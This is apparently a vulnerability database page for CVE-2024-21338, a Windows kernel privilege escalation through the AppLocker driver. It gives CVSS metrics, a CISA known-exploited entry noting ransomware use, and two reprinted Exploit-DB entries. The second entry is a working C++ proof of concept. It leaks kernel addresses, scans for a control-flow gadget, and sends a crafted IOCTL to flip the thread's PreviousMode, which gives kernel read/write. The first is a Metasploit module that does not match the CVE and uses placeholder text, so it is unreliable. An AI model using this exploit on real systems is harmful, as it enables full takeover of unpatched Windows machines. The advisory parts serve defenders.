CVE-2024-21338 : Detail

CVE-2024-21338

7.8
/
High
Overflow
61.93%V4
Local
2024-02-13
18h02 +00:00
2024-12-31
18h51 +00:00
CVE.org
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CVE Descriptions

Windows Kernel Elevation of Privilege Vulnerability

Windows Kernel Elevation of Privilege Vulnerability

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-822 Untrusted Pointer Dereference
The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Functional

Functional exploit code is available. The code works in most situations where the vulnerability exists.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 secure@microsoft.com

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability

Required action : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Known

Added : 2024-03-03 23h00 +00:00

Action is due : 2024-03-24 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51946

Publication date : 2024-04-01 22h00 +00:00
Author : E1 Coders
EDB Verified : No

############################################# # Exploit Title :  Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation # Exploit Author: E1 Coders # CVE: CVE-2024-21338 #############################################   require 'msf/core'   class MetasploitModule < Msf::Exploit::Remote   Rank = NormalRanking     include Msf::Exploit::Remote::DCERPC   include Msf::Exploit::Remote::DCERPC::MS08_067::Artifact     def initialize(info = {})     super(       update_info(         info,         'Name' => 'CVE-2024-21338 Exploit',         'Description' => 'This module exploits a vulnerability in FooBar version 1.0. It may lead to remote code execution.',         'Author' => 'You',         'License' => MSF_LICENSE,         'References' => [           ['CVE', '2024-21338']         ]       )     )       register_options(       [         OptString.new('RHOST', [true, 'The target address', '127.0.0.1']),         OptPort.new('RPORT', [true, 'The target port', 1234])       ]     )   end     def check     connect       begin       impacket_artifact(dcerpc_binding('ncacn_ip_tcp'), 'FooBar')     rescue Rex::Post::Meterpreter::RequestError       return Exploit::CheckCode::Safe     end       Exploit::CheckCode::Appears   end     def exploit     connect       begin       impacket_artifact(         dcerpc_binding('ncacn_ip_tcp'),         'FooBar',         datastore['FooBarPayload']       )     rescue Rex::Post::Meterpreter::RequestError       fail_with Failure::UnexpectedReply, 'Unexpected response from impacket_artifact'     end       handler     disconnect   end end     #refrence :  https://nvd.nist.gov/vuln/detail/CVE-2024-21338  
Exploit Database EDB-ID : 52275

Publication date : 2025-04-21 22h00 +00:00
Author : Milad karimi
EDB Verified : No

# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win, Ubuntu # CVE : CVE-2024-21338 #include "pch.hpp" #include "poc.hpp" // This function is used to set the IOCTL buffer depending on the Windows version void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_info) { os_info->dwOSVersionInfoSize = sizeof(*os_info); // Get the OS version NTSTATUS status = RtlGetVersion(os_info); if (!NT_SUCCESS(status)) { log_err("Failed to get OS version!"); return nullptr; } log_debug("Windows version detected: %lu.%lu, build: %lu.", os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber); // "PreviousMode" offset in ETHREAD structure *k_thread_offset = 0x232; // Set the "AipSmartHashImageFile" function buffer depending on the Windows version void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000 ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10)) : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11)); return ioctl_buffer_alloc; } // This function is used to get the ETHREAD address through the SystemHandleInformation method that is used to get the address of the current thread object based on the pseudo handle -2 UINT_PTR c_poc::get_ethread_address() { // Duplicate the pseudo handle -2 to get the current thread object HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2); HANDLE h_duplicated_handle = {}; if (!DuplicateHandle( reinterpret_cast<HANDLE>(-1), h_current_thread_pseudo, reinterpret_cast<HANDLE>(-1), &h_duplicated_handle, NULL, FALSE, DUPLICATE_SAME_ACCESS)) { log_err("Failed to duplicate handle, error: %lu", GetLastError()); return EXIT_FAILURE; } NTSTATUS status = {}; ULONG ul_bytes = {}; PSYSTEM_HANDLE_INFORMATION h_table_info = {}; // Get the current thread object address while ((status = NtQuerySystemInformation(SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes)); else h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes)); } UINT_PTR ptr_token_address = 0; if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && h_table_info->Handles[i].HandleValue == reinterpret_cast<USHORT>(h_duplicated_handle)) { ptr_token_address = reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); break; } } } else { if (h_table_info) { log_err("NtQuerySystemInformation failed, (code: 0x%X)", status); NtClose(h_duplicated_handle); } } return ptr_token_address; } // This function is used to get the FileObject address through the SystemHandleInformation method that is used to get the address of the file object. UINT_PTR c_poc::get_file_object_address() { // Create a dummy file to get the file object address HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (h_file == INVALID_HANDLE_VALUE) { log_err("Failed to open dummy file, error: %lu", GetLastError()); return EXIT_FAILURE; } // Get the file object address NTSTATUS status = {}; ULONG ul_bytes = 0; PSYSTEM_HANDLE_INFORMATION h_table_info = NULL; while ((status = NtQuerySystemInformation( SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); else h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); } UINT_PTR token_address = 0; if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && h_table_info->Handles[i].HandleValue == reinterpret_cast<USHORT>(h_file)) { token_address = reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); break; } } } return token_address; } // This function is used to get the kernel module address based on the module name UINT_PTR c_poc::get_kernel_module_address(const char* target_module) { // Get the kernel module address based on the module name NTSTATUS status = {}; ULONG ul_bytes = {}; PSYSTEM_MODULE_INFORMATION h_table_info = {}; while ((status = NtQuerySystemInformation( SystemModuleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); else h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); } if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->ModulesCount; i++) { if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) { return reinterpret_cast<UINT_PTR>( h_table_info->Modules[i].ImageBaseAddress); } } } return 0; } // This function is used to scan the section for the pattern. BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size, LPVOID* lp_found_address) { std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]); SIZE_T bytes_read = {}; if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size, &bytes_read)) { return false; } for (SIZE_T i = 0; i < dw_size - pattern_size; i++) { if (memcmp(pattern, &buffer[i], pattern_size) == 0) { *lp_found_address = reinterpret_cast<LPVOID>( reinterpret_cast<DWORD_PTR>(lp_base_address) + i); return true; } } return false; } // This function is used to find the pattern in the module, in this case the pattern is the nt!ExpProfileDelete function UINT_PTR c_poc::find_pattern(HMODULE h_module) { UINT_PTR relative_offset = {}; auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module); auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>( reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew); auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers); LPVOID lp_found_address = nullptr; for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) { if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") == 0) { LPVOID lp_section_base_address = reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) + p_section_header[i].VirtualAddress); SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize; // Pattern to nt!ExpProfileDelete BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 }; SIZE_T pattern_size = sizeof(pattern); if (this->scan_section_for_pattern( GetCurrentProcess(), lp_section_base_address, dw_section_size, pattern, pattern_size, &lp_found_address)) { relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) - reinterpret_cast<UINT_PTR>(h_module); } break; } } return relative_offset; } // This function is used to send the IOCTL request to the driver, in this case the AppLocker driver through the AipSmartHashImageFile IOCTL bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t input_buffer_length) { IO_STATUS_BLOCK io_status = {}; NTSTATUS status = NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status, this->IOCTL_AipSmartHashImageFile, input_buffer, input_buffer_length, nullptr, 0); return NT_SUCCESS(status); } // This function executes the exploit bool c_poc::act() { // Get the OS version, set the IOCTL buffer and open a handle to the AppLocker driver OSVERSIONINFOEXW os_info = {}; size_t offset_of_previous_mode = {}; auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode, &os_info); if (!ioctl_buffer) { log_err("Failed to allocate the correct buffer to send on the IOCTL request."); return false; } // Open a handle to the AppLocker driver OBJECT_ATTRIBUTES object_attributes = {}; UNICODE_STRING appid_device_name = {}; RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID"); InitializeObjectAttributes(&object_attributes, &appid_device_name, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL); IO_STATUS_BLOCK io_status = {}; HANDLE h_device = {}; NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE, &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0); if (!NT_SUCCESS(status)) { log_debug("Failed to open a handle to the AppLocker driver (%ls) (code: 0x%X)", appid_device_name.Buffer, status); return false; } log_debug("AppLocker (AppId) handle opened: 0x%p", h_device); log_debug("Leaking the current ETHREAD address."); // Get the ETHREAD address, FileObject address, KernelBase address and the relative offset of the nt!ExpProfileDelete function auto e_thread_address = this->get_ethread_address(); auto file_obj_address = this->get_file_object_address(); auto ntoskrnl_kernel_base_address = this->get_kernel_module_address("ntoskrnl.exe"); auto ntoskrnl_user_base_address = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL); if (!e_thread_address && !ntoskrnl_kernel_base_address && !ntoskrnl_user_base_address && !file_obj_address) { log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses."); return false; } log_debug("ETHREAD address leaked: 0x%p", e_thread_address); log_debug("Feching the ExpProfileDelete (user cfg gadget) address."); auto relative_offset = this->find_pattern(ntoskrnl_user_base_address); UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address + relative_offset); ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode); log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode); log_debug("File object address -> 0x%p", file_obj_address); log_debug("kCFG Kernel Base address -> 0x%p", ntoskrnl_kernel_base_address); log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address); log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address); // Set the IOCTL buffer depending on the Windows version size_t ioctl_buffer_length = {}; CFG_FUNCTION_WRAPPER kcfg_function = {}; if (os_info.dwBuildNumber < 22000) { AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer; kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag UINT_PTR previous_mode_obf = previous_mode + 0x30; w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10); } else { AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer; kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag UINT_PTR previous_mode_obf = previous_mode + 0x30; w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 w11_ioctl_buffer->Unknown = NULL; // +0x18 ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11); } // Send the IOCTL request to the driver log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)"); char* buffer = (char*)malloc(sizeof(CHAR)); if (ioctl_buffer) { log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer, ioctl_buffer_length); if (!this->send_ioctl_request(h_device, ioctl_buffer, ioctl_buffer_length)) return false; NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)previous_mode, sizeof(CHAR), nullptr); log_debug("Current PreviousMode -> %d", *buffer); // From now on all Read/Write operations will be done in Kernel Mode. } log_debug("Restoring..."); // Restores PreviousMode to 1 (user-mode). *buffer = 1; NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode, (PVOID)buffer, sizeof(CHAR), nullptr); log_debug("Current PreviousMode -> %d", *buffer); // Free the allocated memory and close the handle to the AppLocker driver free(ioctl_buffer); free(buffer); NtClose(h_device); return true; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.5458

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.4046

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.4046

Microsoft>>Windows_11_21h2 >> Version To (excluding) 10.0.22000.2777

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.3155

Microsoft>>Windows_11_23h2 >> Version To (excluding) 10.0.22631.3155

Microsoft>>Windows_server_2019 >> Version To (excluding) 10.0.17763.5458

Microsoft>>Windows_server_2022 >> Version To (excluding) 10.0.20348.2322

Microsoft>>Windows_server_2022_23h2 >> Version To (including) 10.0.25398.709

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.